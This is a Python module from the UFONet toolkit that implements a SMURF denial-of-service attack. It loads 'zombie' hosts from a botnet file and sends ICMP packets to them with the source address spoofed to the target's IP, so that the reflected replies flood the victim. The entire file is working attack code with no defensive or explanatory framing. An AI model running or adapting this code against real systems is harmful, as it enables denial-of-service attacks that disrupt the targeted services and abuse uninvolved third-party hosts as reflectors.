smurf.py 4.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. import urllib.parse
  12. try:
  13. from scapy.all import *
  14. except ImportError:
  15. from core._ensure import ensure
  16. if ensure('scapy.all', 'scapy') is None:
  17. print("\nError importing: scapy lib.\n")
  18. sys.exit(2)
  19. from scapy.all import *
  20. # UFONet ICMP broadcast attack (SMURF)
  21. def randInt():
  22. x = random.randint(1,65535) # TCP ports
  23. return x
  24. def sIP(base_stations): # extract 'base stations'
  25. bs = {}
  26. s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
  27. if not s_zombie in bs:
  28. url = urllib.parse.urlparse(s_zombie)
  29. try:
  30. s_zombie_ip = socket.gethostbyname(url.netloc)
  31. bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
  32. except:
  33. try:
  34. import dns.resolver
  35. r = dns.resolver.Resolver()
  36. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  37. a = r.resolve(url.netloc, "A") # A record
  38. for rd in a:
  39. s_zombie_ip = str(rd)
  40. bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
  41. except:
  42. s_zombie_ip = s_zombie
  43. else:
  44. s_zombie_ip = bs.get(s_zombie)
  45. return s_zombie_ip
  46. def smurfize(ip, sport, rounds):
  47. f = open('botnet/zombies.txt') # use 'zombies' as 'base stations'
  48. base_stations = f.readlines()
  49. base_stations = [ base_station.replace('\n','') for base_station in base_stations ]
  50. f.close()
  51. n=0
  52. try:
  53. for x in range (0,int(rounds)):
  54. n=n+1
  55. s_zombie_ip = sIP(base_stations)
  56. if s_zombie_ip == None: # not any 'base stations' available
  57. print("[Error] [AI] [SMURF] Imposible to retrieve 'base stations' -> [Aborting!]\n")
  58. break
  59. IP_p = IP()
  60. try:
  61. IP_p.src = ip # ICMP 'broadcast' package carring fraudulent (spoofed) source IP belonging to target (aka SMURF attack)
  62. except:
  63. print("[Error] [AI] [SMURF] Imposible to resolve IP from target! -> [Aborting!]\n")
  64. break
  65. try:
  66. IP_p.dst = s_zombie_ip
  67. except:
  68. print("[Error] [AI] [SMURF] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
  69. break
  70. try:
  71. send(IP_p/ICMP(), verbose=0)
  72. print("[Info] [AI] [SMURF] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]")
  73. time.sleep(1) # sleep time required for balanced sucess
  74. except:
  75. print("[Error] [AI] [SMURF] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]")
  76. except:
  77. print("[Error] [AI] [SMURF] Failing to engage... -> Is still target online? -> [Checking!]")
  78. class SMURF(object):
  79. def attacking(self, target, rounds):
  80. print("[Info] [AI] ICMP Broadcast (SMURF) is redirecting: [" , rounds, "base stations ]")
  81. if target.startswith('http://'):
  82. target = target.replace('http://','')
  83. sport = 80
  84. elif target.startswith('https://'):
  85. target = target.replace('https://','')
  86. sport = 443
  87. try:
  88. ip = socket.gethostbyname(target)
  89. except:
  90. try:
  91. import dns.resolver
  92. r = dns.resolver.Resolver()
  93. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  94. url = urlparse(target)
  95. a = r.resolve(url.netloc, "A") # A record
  96. for rd in a:
  97. ip = str(rd)
  98. except:
  99. ip = target
  100. if ip == "127.0.0.1" or ip == "localhost":
  101. print("[Info] [AI] [SMURF] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  102. return
  103. smurfize(ip, sport, rounds) # attack with SMURF using threading